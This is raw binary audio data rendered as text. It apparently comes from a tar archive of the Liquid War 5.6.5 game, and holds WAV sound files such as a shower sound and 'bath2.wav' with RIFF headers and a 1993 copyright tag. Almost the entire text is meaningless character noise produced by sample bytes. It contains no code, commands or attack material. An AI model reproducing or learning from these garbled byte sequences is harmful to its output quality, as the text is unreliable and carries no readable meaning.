rhty}m{{x~vnz]n|zp}lyg_kqeuwq~uxjwmzh`aez_rt}jwyzo}}tqy|xnrmtmqfb}sgef]zv}r~sygpqvfnS}im|r}y~~lulsws`imeqnxrs|memcw^tjel`x{ipVqVr||rqcrlyrr|Ifbu_vskpnqm~jxumqpvDG\cfcxOz}xym}fzk{f|f|yyfoko~}ey`~j^|wxuki{fi|wbZe{~zf}|}umacwumkbx~uzhjeansr}x|NouuvM{nup~tj`Uv}vspTtUeyjbtnzkwr~t~~zdqgdwwtytpswmlwtpejxkj~knzUzq~nvpqvUu{v}dZujznUmgk}~xduooaesZyjexr_h^vx{rkk}{|vvgsR]|oo{rqrf{{{tzuQwgr_zmfwupvzxtxCmRl{ut}}|w|{tzwge~pppfdvqh|tHdls`samr}yl_t^q^{~ouw{aU]swqupOe]fbsdwhcbZyqryq~kr{|y`v]fuphozg{x`{`|}yfr{ytvpk}e{unknj}u}}OxbMtxcc|o{x}b}s}qb~{|bws{Yycyot`s~t}wqnqeen{{|zo[qqbYm{tSlLncwlnvudnjn~cv|sk}~zusp\kwzOw|SmyWbY|t{cpo{zZUfbkdxxnyu}Py\_v}ikjg^sfbxylzQ[PtZS]]eyuZTn}~~|Sac{x{|mtq~estanBiKtowv}mvz}_r_ehs{oetl{qT~]^{joue~mszeqmf~a`dZ}pftwvp\_mqr`~g`]m]tZp}nkqszz|pqp}m}ut`wwrqmuewjmtvurcilpypkufxygw}mcwjdb_{hv|tru`}l|tlqc|ot^poityvhpwroqnxux}xe|vj|s\lwxeqnYk^swV|iy`Zoq[zfuwZ~yxeml^rmrZs{t|bxT{ce{zpjesz{|u[d`^]lrhsppiznlcynq~puxjiyycs|}{ubudw|w^~pXvirrrwt~n}ijgrTj~ztojo~x|nfar{thM{Vsypmpsqqxw{wz[mo{{~bjsf~hsvnx{vmyqwvua|uhn}Pdyvhafjd|hw||ew{|hpb~jwn{}^{~qk|s{uszjtnr_yxtvvk^|s{hx^usfm|Rgmvtrjjwk~Iwz|yudosc|ppytzhUYmxUuvrk|uwumq|o{r~y~~g{bdjijp}tfs}k~gyUp[{rj}~jmoqpo{}yqz{{vpi~~oiuhww}St~ogwr{i}hlsnfzwjtqwivXnw[^omvpcrq|e|qxtm~|tljl~x[sjvhrvVzfvv~{|uvkmoqy`|~^~^nu|o{~~jy|mkf_xhgc~z}rxouykrVpx{kz}wxuqh{|mwuqj`mzw~vhmo~tztzquYjmjZ~zvvwTgStqi~]m]u~amw~y}ien{rxlz^bYltJbRskxqm}~ywsr\rnsq{tr@DZtzYy}H_3Ffoo}y=QyvLLr|Sge_Wz\t]}TjNSBXfWmvxu]ysh^nc^paXbqm^Wi^}kXbLVhwk{vqoMwXlhphiwArufep\FqU~Ybbblw|e{wxxsDFxmyX}m~xl_b8syFYtZs{_NeaUb~iaiUpu{Zsx_e[hZWZPjlqq^Vc_hgGiyR{cIkXpUHe\}yvv~lokjomb{grE~v[oalrqfiMVtvctsjqwbyz_hbn@Vqouw}o™{fL`UZ`in^\t_rxeXDWs}wgs}tnbgsmf{Z\mqnaw|rx|Vv{za`ivfxxcuG;vIVqPFz}yaYYiqSYx][Zyqhtl\u^fkpjdpMjtftX^jws}oc}srdydQfR^_etl||sqvXbwzn{z^hoopzivm=xsrkkv~wzr`g8{gwnv~Weu\wmtszrc}yth[sfwtuT~}qZ{_tmUYcthexxmbhzZ}Y~pqt~qqz\zzcskmZ`zfxr}zuHeWmptzwvou~ucz|rp\yygxyzSoWlmWY}eozekwQfjnez:{gp`nzkar{uw{OcHt}vuxwzSjpoVitqw{n{svzkmw{wcMjgmx|~lkUzrpb{rwubynoy|}nwhn~vjliopp~sx|y{o`~]fgZrmzu~Xew\Vpy_uwo|u{^fiiN~jktqxglhRlemtcijq`lwhivywxilsdq~]|q~szyr~tkzsacjUhbXYjszxkrxb^iia`jyzzm{~lp|t~qs^huj{hoVk{qYcmeimvvxvns[Ttoxcvuuhs^zjfm{PcVy|\x|nygh`^ltb|py|zvnddloSxTy[}gd][c[y{n[jiXu~uxxvns_tsyyVloshpgympq{kpomigwgmxyt[vXow~nbkv~}y{u=c[kHet{Tkhu{~^}u|pa`||`Z{Hy`cbyWq}pwnb~wtvtzu|ojkby{qkn{sfgrdvyv|wt~nOrnted`r\zrsotnp{vmesYjthhcmzhz{xoofbgB_{`QrZBjcvtfti_z|e}kgoyvdzqlfwgnd}jaqowtb][orydq|an`nv~qcyUGsoHmJZydyrhrtfsKtvjljrWTTfn|d|opnzqW{xTnOabxEPv~z~Z^``V}vqulks{xdoxhspzrTmov{cloeeUppuxipzpd~J]wtvsfodqayjv}^ypjp[Bb{ma|xzqw\j|uoqjtmwofnye~_hbl^ryqtzyyb|~gmX_fo;mF|xhi[zza}}jnrxuis\ZPZgj`_uTPhybyTxes?nmii~ohhpxQT`xtqzwogw}bq~b~qfu^TBOa^[oon|d{lRk~oxpvaOn_nbvrste[ofV^`\xwp}]fkZy|~t\vc}]y|^v{lwjseai^xcWnG~hN3[|UuyvkwbtdZ|Bk~wx^wnz{k^es|X`{fr>wMVqYq}rm~`Wc}|bxlz`vpneWsuhqsX|v{gtvp|Y[^?[J^qVj~m\_R|mq~jyXxl}y~[uPne[}p~t_naQK~vlpofZokyk|{w`kJ{crtrSaow|`>oX||eqnx`QvqnhL}l~sVwo{gv_yg_|dXh|Cyg{SrsjxfOIgeul]oRXvsyz\lLvvl~{{rwZ7hvf`jtxz|sbxwZVut~k~hvsJctr]jsc`j`izsejxg[npessmtcgyu_jp{]|wn[tnIP\d?lfvau~tqthv|DnZbEju\jbSAg^P{eVxa~qumhbtuzlsYuwlqk|zo[biasqwmazykU[gEahZjZaz~zu{unhBnyatlldsuaz_z\dKdVPu`‚}QpYLmnrqxekyaRwkskGlso7Xu~g^kxk]zoyrnbz`TkwfqesshE|dhnXbjweb|rrsevjlPfqhWqb~xfa^n~zrZl_`ywvgmxs{\\vzsiVz~nxfMh\izTbriSu]irwnStu]xpSfibmTwcd|hYjutmYQ_mit|DSf`Ut|rWyqbZbk}[zvs}xlsmcSu~y|yi}nlRmqtxi\b~l|cxuj<}J}nMl[V{Vqbtten~B7cqfdQFCXm{~ztNN{rrjhm`zltrlsdBv7_uP[jxorhmglnUqWaz]}kmgxp|zQynfVhy}kpyzdxjxy>~XeYku|Srsqm{NcrH_xTibfRZ|~jsxotoYLzY]ts~qYXWOPc`npn{W~uRUbiXn~b{gy|nvy~>jb~HZ{o8mbptJy^caVaM|udPs{9p9Fe~Goa|v|inʁ_]zkwsrxoxYky^`rj_vprtf^lS]t{|qxRXfLUVlmom1p|YdhwXmM^}zUe|idxdQ_k}g\MwHTraj|`{|qcbgJcoazkugcd|^xew|~l|o{NsopyS|RqWSEaenL^z`YYxledjt{~nvJ}ylYePbhnlg~cjupu~cPalXblveerw}vu\mxrRms^eaerjydv[oFdzYeqjly}{ru|b}^vc}dwdTh}lPSaecFzvnknxqnt~\qtvyypuoshycmsYvmy\rq{W|~Kqmlm\KlKN|yubzydmyrwizsfvjv\xlpumcJWbee}ijx}qx]|dZgz}yu~qpcXUird[|yej|sdUKcsjfpbejzqRSwsoazrbpZFZQbxw`Drpljg[ffileq~mv|}uQ{Xcav}zy|hs`q_rW[blwqpPyL\vdzyvyB[v:{`l]jpplOvfmmmQbGZzxaCŎaRWid_sHQis}[FjJ_^ehT~j:?exxb1_l`Vzpqk]yauXpEsqlostqz{twksoowfwmPsk]7@ZL/ocqon}r?flqp_zyYvhuiyN[o{t]wvsur\my|lffre|wilidqg{ipvdmujliP}[qz|rrg]kyo_znNfƀu{f{wWdmagr}dk{Xqzh\GzKjZhqpHj[ec|r,~qQq`xoVvtegl|piswwz}wfUasqwu]DhV]8U`h]\zmauqOl{vzjgpTlaza}Pgekoey`qb~}hVhkmegohptllÓn{o#Q6uT_R@9qiRtYlFx^th}UXxw@DtNqeS@jqptoaNP)vUa^sdeNcfUhHi`YzQ_sYUbuZveiviw}}9IDtTRTnhpghytSa|px[VSsMCRy{v[up]|kfSTrmypggjosme]vbhkhns{q}|s`klsgXhcjjmxv`oqzkkndWcj_s|myL~oRlf^}|0:DpoYVpWHXE@y[Xb`my~bCPnxuvF]aztvwrZpnuom|r~|y|mwdnK}SLpJe]pv_g|a~rZi}tmr{O{Ihwv]P9i]gkYaSx^n{Wdqk]uhk]}W|uY}}jxcttdQy]fgjjqWud^o`tbkrSmOgeiUNzwgSsMdrflxpU;urKsZpWvYwruEp^wtgMspzmuODsrspTjPzln\^{|sf`v`~st|abpqeM_rxc`NSL{{tmglb}`sXsnZN|~9wm~qloUVTslevnpkc{mntyLldmn}spVw~cdhhuvl}ttoJfkyv{}xo?Yhtine|vUuzHtvvdvew\lNnanjh}gxWrQ~u{|osuteR_WJ@|arczu}uÒnwyejbS~j{Slpwloy|UncwlLvSzwwj=Vz{|r~{Y`lE\|z~RvzQT~KpnTbw~Uo{lnye|de_kf{dz]ym^}wgdhg_tj{s]qsfVlxn_rqZZ[OmTup}jtbzwwjiUqanxSOsbtSk`ryq_yDpf[]t^uXlf]\hj_Xmvu[k|~szwpn|u}PO}Jsptwm{q|}s`qgeygnZcwdyyxrUrNvjvm^kyZ{mqbrbsofq{tr}hfmQ_wL\Rkvn|{mjyeu|vq|{qra{X}CMuqftxgyWh^thyz^zui{`wrgvcnXtvrPzq[\q|rcwyoryxdWfuvyn=zJSry|yYyegyypj}wsvjoy\_vd4ouWjnvfMv|h~}vbkWhHc^lbuggdinw|lev}miXYeji~pgxNw|kjym\]{{velp{n|{siq]Z{XhkQl{gU~xtq]VwtyrW{lgkwZx^tXuflomfis{p\^v{i`ulrswh{[fk~vtsgi*sb}skvZ\fhcx]Sy|jqkQ|UOHisq[W{[tk[e~[i9txnnz~wXŃUTMwreuokRoKrOtlyFpTzxuWnp{LwszMZYfVqsql{chXuesqnjytU?^ksy|\at{gm^n{honzoQid5sgoai_nmk{ogxu{xH_=s~K~HsPF\xt{fh~jzOmtjNnyvxtlrzeWIx\nuYhw[y[R:}Ysz0d|q~Vs=|r~`aQ8c{YqullnSdwGRlnÖ|xBpywLjfqr{q~aUjv}kTon{~x|t|cW|PI~k}{|wBlFY{hv}~lVoeC|omrt|kvul|Z~i]rLrT}yvQvq};p~y~Vkm[eW^vtr`~YOsgwdVIrybt|owuwzxnrr~jyu|{ceqp~u^_qyx|Uz^uNX:n|eGcisnmwhdesuqjdyH`cnSw|qzqepiwn[xwE~Q`Ynrxmfunmgttpy|{ro|~n_^sPveXrlf|x|nw4\`Zgay]}xzlxfb|zsQcpsy{rdTsgSvjago{wuvro`yb]OuZs[xt_vNrynry]lawzSDu\6ZVd~v1aiT9fYLqYeZvk`nkj{~sB|@iq,|lXmll_~hiE_t~@Ck[zj\tya{t|]c~xdip}lfN_ei{fk]yd\m~^yx_ˆ|mn=bq{`u}mp|okawGyZy|xxTMSmyb`}gt]xsjmXcinuyq[zkbq{hUQ~coqfbw:^}ZaiHW@hpncy}~wbR}\ytVGWxcrY_}UpMsz^xfttvglmI^qT^flwedQNSaMPd:|tblrR]Lo|pnK=`uvThiwrh~eh\ulGp]~WBq_~ruhq~~n~d}Yte_E~tfq{buL}Qutgj̠Qt|rvk[c}duunxPF|y_An[TNp|{f}I~^FrI`Jjazx|VjohXRet]lZLZivwYuhpxmgjiazzoCZmv\f~hmq|~to~g^amwrupn~y[zj|\uUysTbco~agtYd~nzzvquqp~fmv{\ephVUb~wJgY^WUvLh`Ufnhj^ranz}ntc^yqahgydvwvYrzbLtwopd_yf~p[RW~;ry^ryyns{zY}kd5r{i|^gZ]ewtncrtkiy]Ls|gmdmn[izQysqc}mtqylkjoYi_uTYs~{{mij]gnky|n]{vzyxrzwfkclsmSm{ryii_^|gucwjis}GKg|nBou__nhjm\~mwp|}ivwyd|d]ln}Vwms]s`qzjjs{bvrw~z{[/>JpkuwEhUahFd|CnOZ#Ko|~RtEpu\~nxrec6]vT^}k]jnhiu{_h2j>FHTYZhwygwtS_q|VrxyxszuyZ@ZkhIU}fthuOw3dOL}S|IVyAXrv;ias>G_cMqoznhml\EiUrkMzwWzduco`gqRZq[qystsZijva_Ra{v|nzotd`[oCXfdVQSfULOKt`hwTeXUnylnSYY\~Z|D^jxpzcvebo_{m}~wfp>bZ~Sftd]uks{Yvey}hivzK{VZU;uwwneDp{fqs~ev{ot|TZppyewxyidWpzI[oTxdwWfa]slZybksNXcx~]|bF|{NqwklcZUshTrS[ltsq_vDyKgredvy]wzitkh_~dVghp}plribq]ukwtrnZyvo}os}hnAbTx_{wo^fl}OmsQbyx|poXt]smq|c~sdhd||l~mqvek|nZ~\}{dgvxutkwxm|l_KabxsPMvbH~|]r{iXnPpc\vNgZ}txYmWnkN[yhsgw+RfVdm}wrv~o^ujyPej_UsK0\t`qx`~|`ynM^onG[Eae|`mSwz][vHrUYlRxWou[ueDg[^sryrqu~slyf~sUn|vayp|`w^l`|slnp|w|}ylyl8eRtsd[~|v`{t@wF_nd}InBOjYwzvQNpUeQWxetup\Wp`nQPvUw|xvqnZlmʟ[g[_l~{Ox\hol{XJk|RvJhobyxjr>[Kzo{qxzW\w]Zq\|~p|kpd\rx^ssxjWuwl}]edNt,Uh{N`eN^YV[pybaevtos}wYcszvpCruc|jwsfwiaqlgx|yyTr|ufkbMow|qX~]`z{rhgrxfqewGsuhmz^ro̒b_jch\szlqjutmkxryewhya{pvisu|erstlg|MCJ0HpcqF{ixb~dYv^Vsnmt_ctpnzgNxC{gg|bpUX~ZeWwhc{zuiwUnvupz~hgMtzelx|PugrwQ[^]U\pt}]L\twtw]hi^gkqVVuq|wcyph{}rjupou}I{_fiHx[Ti`kssygtc}lUA|_qwsllrkzL}B{Q|q[nb`unshoUyvpNyuhcVi~guvvEMbrjrkP_huwwe{oxxqgtm[ziWemcu}vxb|Nvuvmxzj^jpy{|k~~yvhixZjvysenN4JoUT9~mgygtyr>VgQfndďyQkvQyulxXe~GQqImkz~vWpwc{|r~LWywrnndgVlmhyjsj|pixroqkp`Is{w`w~fjvyZRkGrxrx|{\po|v{zW|g[bC|~{bq}obix}d^mrstzQu|{p~gq~gtfzWjQ|]tplqUlrZ_bvKtQuek~omWfpelnvf`qZ}d}ky~bJvchVPok~on|tk|gjuqss^ozZvpd|\Z}pfQvrzJjzRaX`ccf~fim}sa^naj`pqfftmos_yr`pRauwv_mx`}_fvm{sugZkbhh_c{`LmSxlUy|z}aiuxtt_|vZw_zklivv}tF~~w{zj^ofb|Gt{gX}pPZbGXmynm\vfznwqhbT]4yVYonKelbfiwCes}p{xMi}hi]rnhaeU^k]o\YlyzpuO|Z]|}Mio{}q~ho]srQUqXewjpUtk\Ratg}vx~{Rux~q~w^vjq5fkowQ}ilxzjg|g}urAkU|{]THapOxjqgf|lhmm}t]hzx~x}Iynni[guwti{{u{vh~cvv\\Zhy~qmpzpxh\X?edtraiviop{{qt`oypisyqsyswoX_jofrwjz|r}{`JORp|zm~ho}}q^[{l^r[YQbxo{tv|{g~zvlmq}kOYht}e}}gzcy_xuzor{ypirmqfynlwShmX}y{t~uilzu_n^osbj|msykctqYy~Zz{jv|svy}gy}t{yqYpxjty|U^ul_vrhzix~_5\tfmt|`wiv{ga~z|MypTqidyuxeo{|t]qLWzqrgKĒcrfIZaje`>turwn`xm|sz`znBg^}Q}yq}pimqnxNWuhjrxd@qweror{vsnXokvnwmnl][ctjtyTpxiju}u^wVWVwZotr}myh_vtwt{sqsOktz|eXlqemofoc{zozspvqlLvnaj|e|dsdwKdFRWSrkyilqmmgkNPsuwpiMUkc`ovvWyofwodGvczQShvbmp~|z[_tvtQ`Ak}^frv}sy{YxfxoekwYYyy|?j{b[nzqh{t}kig~M[nlay]yunbsltz}mmiklzmks|u}zlt|}dufRoaobezp_ylukaV~uvvtOtm]zg~~~yt^lkv~Htr[iq{ktmmrmvv|fK}~pvdhvdezcxx|`Yfc`le}m{rms>lUo\~lwxpvobkvZzs~w~}iprl|}gfyuZIbyRtrvbejOpTLYSeyvwKo5fc\]g{tkx{[Z]pnstv}Niz|]xPzVz~ngzqztw~rRAyYcwh[uvm[qs\qu}~|vwgoTlcc{_xxyvvapZe=`qOd}evoZvvsfYq}vs~[tiw@qxO{Zgijwjwpnhfvtootzxiyx|{ykkujfvl]sw{R}fV`ovj}jwyr|`]xr|]tw~qxcR{Uwqh~y}~akbzoenocwqwIx|y~uAzP{rxltV]K^~uazxwur{yGj]QaLzufhlckvm`j[rujjwxtpoYo\w~zhrqln]Uhpp{evy~~z]yfnp|u~t|kxplyszkzuuau|m{jVwl`nlz{^Ztsv}@~gddKyBzUo|eah~R}wdbGuur}Zcy|_hhvLclkqtowsqhjuw~{ptp~mejoj}nMjquzrUrWup_||Ziqmuhtj~tk|vzqktquwiy\fCaTMxe]xl_b^U}su|ylansuzz{avmxzute]XU|vw{hM[sblmxZtXdV^aTfzlOrS|\TVh~zyh^Wq^sn^dsetsn~~u]{rn|wxyiuiph|wxyr~vpvV^ZtoSFsfu}kp|xfq~MRK\izw`ok\zubn`|vp{`}MxrRYrve|vrcst_q`e|uo|}uqy[bvs}|{mgjVcelbFc}lrdtSYXhmXekqkfr{tzwyw<\o_xm{lYvglxu}|Q~}_kyosc~}sju}ixr}akj{uOweRiUm|win{iF[xw}qcvyj_hzn`]sc}{_Ehldopdl`Zg[p~svurbQa|3ebr^lzlq`AxZ[WulJn3;͡CakPtojgk`eppatjwnmtvASZWypvshuuK_V^^u{lgv`ogm}xjl|y~tThRwgkxp{hgwmwjdmf]lOgx{^uYXy]`p[{gtcmZ~pXz_wxv`|h~epku}bgxhxrh]lh}Zri`b`pw_u|}uofcVswaTw{s|ygj]ikdlmujohIXR[PoeLy}Vmrf]]wwY}yjnqyneltTGRhTyusq|tue}hdiq{t~quvepcuuizfsysnaeZyuxuxqzw}ZX]`ir{nSQOlbx^b]mw}xpTqwpWfsiykbgdvvvakj`XTFVHzk{p|{vc{\q^}xH[wrch~|bMsM\ncxgm~youu}x\jena|ql~zf]rrgiarpSdjNzp}|s~lWqd[s^yve-nsU^wn}qwmett{L~DqljjqUPcgsbjtuyavyVddib~~k]dYnd{]n~c~dtitM]vcp|w`amta\vf{Ol]kQVOxmpexOlm^yl^{yvnnq}Yf}{qys{lYhzg[q_{bprz|{Lj_kpupXq{wRgg6W|Zsnqg~}qw\n|ma}tw]xwnfI}chNU}Aqmea{nqNgwYwo{l~rPmbjhfb~n_zgejtfmj~guz~wmcwie{tAotntdZ}htmtynef\vfMnoegzrhr|pbvMzysj}oaovYjsJhxkgl]{gquwlxczrytvr\CU\QrrQ~qagtc^TpQ]^zzkia~ucjg_wMfxZrOGPQ[r\gpziukdkqquvgouqv}l~urkstm^c[_xb|pny{ZWul`GtZnewMib^mY}lxudT~g{zvkmaj[vvsIkjtt@w}ZnKnSeqn{jlSp~Uqo_hlZu6Y\tclm}zsQTTzVlutZvRk}gr\^@[^tgmgzuj[x{V^iudxuouvn\F_hacmkpely]qie|bj||pynlebhlwrl|RwybdpjnN^Ygpgytb|^tUylf\adr}s_~lx{wlT]{}oh`xjsl|xndsZ\WhLWJYqwwy|\v~iqgz\ugu{oqt_O`QXhtit}yw|kf~ru_Mnwy]pvmmxzors)fET}_]pe\gnvsolxlhvuVg|zWms}thrZwqk|exmptfZy{{c{gu[htc}vp|Uutqu{m}g|\bUch}}spcclVsMfigsti_p|IgzlDjYzw{D}kjyYZTr{vxvwiacD}t{sp`xTtzRo{qp{uznyzovp~jubjrqlonpn~vw`lyxdkNdPe~sd_S,o]dvsv{zf|`WoxvSU|zuz~py\_Zb[L}wh\q|~wQqlBOkUhh\qces_[X{ibZqwpi[~eJtayf{keVt\fkdoTYspqSfWtwk^U{jm~uoukeZbQuhtnRxddloi`YoYwmr`tXnkuc~qlz~g}jsj~Ypmv{}ilBesjYyj{ZtlcRcvwQnkokojuuuqvptPglp\}pyvycu|y}ken`_{iRy~`zuk~qWu^pfztrjzzbu@i{~|jv||~_ot|~zmz`neoZp{huumkmz|OzggRinU`izusgILnuPsYlVqummhiedwzuXv\sa[DMq|FSRn['@Pr`l\OLt\OWyrwmX`mbPkr_xxu}Ck{xSkrhwPzs|r|ryy|}Zegta_`ymXyUc{nwTmQ|˒RiTUl{B}R?hLe[`lwMw~opJmify~~gaU{tptff}muhm\ETvHeehsoifLszstuyzbahOpRqtubpx{UvR\rlh|[hgcopa~_]r|}`siNzck{[dciPSyn~~zzakVkYKzNahsuvoi~k{{xOtyLyj[}Uzitm]wRmyjlivqvhjw{i}w]}h}mgl~lqd`kxsqlFjlidnm~e|V|r{KUw]rfv|uisbnd_[wrfytkzp~yfrqjx`_vcs]~iku|}Yf~nxX\esxp^pnsoxvgo_f]q~tsnZwxrysv^yYmpuewtoxizerdxs^sj;o\|_vkalemK~[vU|sm|agw|}r\ujtyqo[_oa[iw`o[NywUsnzw[\`s}{mKTsQeHʍF}hY.iA1Kh[IyWf|/eZnrydw}jnprT^mmdaipolwmpvpaoz;[kola}mXkrhehhjUY{zq\sbskzvfjwezxfyC[BmRqwq~~hvEcWh|MN~w_rqb^rxv|wuU~z_jqysjbxqhty|mlbMnguxrjzse}Nrq`cvsj~FlXtqb_uxw^uys_|~vt|{YddqT]hr{|i|bqomeu|dfpdtho]~x\vbkvl_uurerl|psvfvwyr`q>kyWq]Ahdp|?eY[NmNJzspe[kfv|^w_f{tIN_jjiw}u^YA{UCcXRglowǛbxi`hW~fgZe|v_\zXugHsetDeh}Yk~jonUy[`uirqbu[uucZqzr[<[J^vlqorekahhlswoUj|Q|pGhuvx{~dY\nU[fji|{j~^xhenzjz~\_uk|_^dn~qJZmxi`k~ylvsylbF}vh|p|tmu{eGqmi~m}~Rrsru}fnWFZz_rbpjn^@vU`~|zkay~{d]|}qtvm^{Rx|bDygwokuv?TMp|\~Znnsd[\ycxTd]dBbgqx~xwixtdptl~vrrs_skp`~Wdajos|srttovzoqt|}qcL]trdgoctxtunTXkvS^py{|w}]q[xsdadyp\oke{lsf}u{n|`zusqhhZo|ej{fh|q|tipq{kwei|lmn{uivmn}jN~odt{s}}zsun{kzrvW~h}tiwswz}pm\Saqkmzuxzv{ampguk|rk{mdrgk]s{uCq}d{dgZzfe}uimoz}r|{ldcdVxkylfeyw{|tseguviqzyaxv}zpmq}b{~juwrwyrr`Zywz{vz~iv|zsgyj`r{t[g}p~ry~yf~z_tdwz{ypsxxkww|qsqYpebuy_}}rmwxykcknj`zqmynmzykkkwsrb|xyjvyzsneqwz~~ozf|xftuIjtjpqz{u|kqxrngjxt}ijpvuwow|qvx{y|{xskhle{{kknf~}t{pmw~qs}zfgvka|lwqpf~|xyyy|}us}km]pfhdlsihmqxk{o|x~zw~v}tzugjiyc~~mtlo{|eyy}xnoy|yow^qyhs|pduxmxmv|zmnpo_tctu}qr~o}wbeqigchy~oYpex~~yv~iz~s{ij|yv}than|mqzsy|p{pn~`t{quzx}wtmkn~hn~wrhwuzzk|mk}m~tyx}~ks}n{x}}ynyzrt~upr{l}w{z{zy{}pewlqs|zzjqxekrurv}{|p~xrho{rvlyxvmxyv{|qxx{lslqrxkwltquz|lstmffrf}sbvyyzj|{k~]|sy}pj{ekkZcouxyy^yt}sqt}e^Soqjxn|}}wyxpr}~ynk||{z|xuypowsryjipmoks~hvux}l{xvm_{qxxn|rluo|zz}}zfw|}oo{uavezfxqvx~|{|pyt^xovy~}svvxvtrpru|zxq{z}}o}s{slqx|yypzwuiwz{bsu}wr~{oivsxysonontooqu~p|yspgqz|sy}wyzzus}{y{{vz~xq|{{}qmv}qw}uzorrgwqxa{|tuv~ec|r}cv~fpyn{pesjxxswk~~u~{tu}z~{qzk|{f~~}q{{}~kjuzvxsyz{oktx{xfylrxzqy{qpm~}vs|rz{zmw~}us|{i~zwxywt{~vuzx|v|slo]x|v{pkv{yzz|srwvmz~zpmr|uw~rzz~{w~{xwkizy{p||zxp~ryxsx{tirphuqqrjq~rxz}d}qjpys|{{}x|}sos|zxk}znrq|y~|qwx}l~}svzwr}ztzuy~z~x|~~xsugzy~}st~{w}}w~t~ohmm~zv}qu|zy{vr{s|ypzszqx}|yuu{{vsotpqlvlsx~p~~x~x}~t|~xy|n~{ttu{y|~|yuo~v{wp{~|gly}vq}|}{|~t~tl~yr}sx|y|y|wvws{~tz|uzwv}{|vzpuumvxwz|xwrw}wwtx}{~}~yzyttv}{yw~{zw{zx{~~zy{|~q{uwrx}}u|syq~|q|{}xq|uk{~xuxw}y}{yy~tyzz|~yy}~x~v{}|sxzvx}y{~|y{wz~urvonyx|~r{t{{}~|~}qvyvx~~|}zw{zzy|yvt~x}~zux{}~~vzo~w~|{||xw}~zy{~}{|}r|~yx||x{~z~y||u~~z~{w{|~~z~w|tzx|xz|~y~}}|w}zv{}x|u{zsvwss}~zz~wn{}v~~vxx{qy{zt|}|y~x}z|{}{}z}w~}}~~uxwv}w}y~{}~y~|~vwvzv~zy{~}zzx}wry{xx}|}~~x~{|w|{|~{~|y~~x~wyz|~z{~z~~}{~{z|x||~yz{||}{z}|zz~|~|~z|{}}}~z|}yxz|x}xx|}~~}|y{|~~~|x~yzyw}xu~vxv{{|}||z|x}{~ywx~|~}|z}z{|yz~{}}}{~y}~}{}|}~}z}~||yy}x|z{z{~yzxyy{}~}|{{}{~z}}|~}z}}~~|yz~}}|}~~z}z}}{}z}|z~}~y~|~~}~~|z}{|}z~~~}||~|~{||}~~~}}{|}~||}~|w{}|}}{~}|~~~}}~}~{~|}}~}}z{||{}~~~~}~~}{}~}|~}}~}~}}}~|~|~}}~~~|~}}~}~~|}|}~~}~~}~}~~~~~}~}~~~~~~~}}~~~~}~~~~~~~~~}~}~~~~~~~}~~}~~~~}~~~~~~~~~~~~~~~~~~~DISPl( wwwwwwwwwwwwwwwwwwywwwwwwywwwy"///"/"//"///DOOOUUUUYOD__OOO_U____UUUUUU_UU_UUUU_UUU_U_DISPShower-on/run/offLISTINFOISBJvMiscellaneous Shower with running water. 1993 Interactive Publishing Corporation. All rights reserved.liquidwar-5.6.5/data/water/bath2.wav0000664000372000037200000015520413407756104016722 0ustar travistravisRIFF|WAVEfmt ++dataU~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~}~~}~~~~~~~}~}~}~~~~}~}~}~~~~~~~~~~~~~~~~~~~}~}~}~~}~~~}~~~~~~~~~~~~~~}~}~~}~~}~}~}~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~}~}~}~~~~~~~~~}~}~}}~}~}~~}|}~~~~~~~~~~~~~~~}}~}~~~~~~~~~}~}~~}~}~}~~~~~~}~~}~~~}}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}}~}~~~~~}~~~~~~~~}~~}~~~~}~}~~~~~~~~}~~}~~~~~~~~~~~~}~~}~}~~~~~}~}~~~~~}~}~}~}~~}}}~~}~~~}~}~~~~~~~~}~}~}~~~~~~~~~~~~~~~~~~~~~~}}~~}}~~~}~}~~~}~~~~~~}~}~~~}~~~}~}~}~~~~~~~~~~~~~}~~~~~}~}~~}~~}|}~~}|}~}~}~~}~}~}~~~~~}~~~~~~~~~~~~}~~~~}}~~~~~~~~}~~~~~~~~~~~~~~}}~~~~~~~~~~~~~~}}~~~~~~~~~~~~}~~~~~~~}~}~~~~}}~~~}~~~~~~~}~}~}~~~~~~~~~~~}}~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~}~~~~}~}~~~~~~~~}}~~~}~}~~}~}~~~}~~~~~}~}~~~~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~~~~~}~}~~~~}~~~~~~~~~~}~~~~~}~}}~}}~~~~~~~}~}~~}~~~}~~~~~}~}~~~~~~~~~~~~~~~}}~~~~~~~~~~~~~~~~~~~~~}~}}~~~~~~~~~~~~~~}}~}}~}}~~~~}~}~~}~}~~~~}~~}~~}~~~~~~~}~~~~~~~~}}~~~~~}~~~~}}~~~~}~~~~~}~~~~}~}~~~~}}|}|}~~~~}|}}|}~}~}~~~~}~~~~~~~~~~~~~~~~~~~~}}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}~~~~~~}~~~}~}~~}}~~}~~}~~~~}}~~~~~~~~~~}~}~~}~~}~~}~~~~~}~~~~~~~}~}}~}~~~~~~~~~~~}~~}~~}~}~~}}~}}~~~}~~}~~}~}~}~}~}~~~~~~~~~~~~~~~~~}~~}~~~~~~}~~~~}~}~}~~~~}~~~~~~~~}||}~~}|}}|}~}~~~~}~~}~~}||}~~~~}~~~~~}~~~}{zxvsqpqstttstvz{|||{|~~~}}|{|}~}|}~}}}~~}~}}|}}~~}~~}||{|{{|}~}~}|{z{|}}~}{z{|{|}~}||}~}|}~~}~~~~}~~~}|}}~~|}||}~}}|{|{|{|}||}|{||}}~}||{|}}~~~~~~}~~~~~~~~~}~}~~~~~~}}|}~~}~~~~~~~~~~}~~}~}}||}||}}|{||{|}||~~~~~~}}~~}|~~~~}~~}~~}~~}~~}~}|}~~~~~}~}}~}~}~}}}|}|}|}~~}~~}|}~}~~}|}}|}~~}}~~~~~}|}{~}}~|~~}}~~~~~~~}~~||~~~~~~}|~~|~}|~|}}|}zz~}~}}~}}~~|}~~||~}~}~~||}|~}||}~~|~~}~~~~~~|~~}~~}~~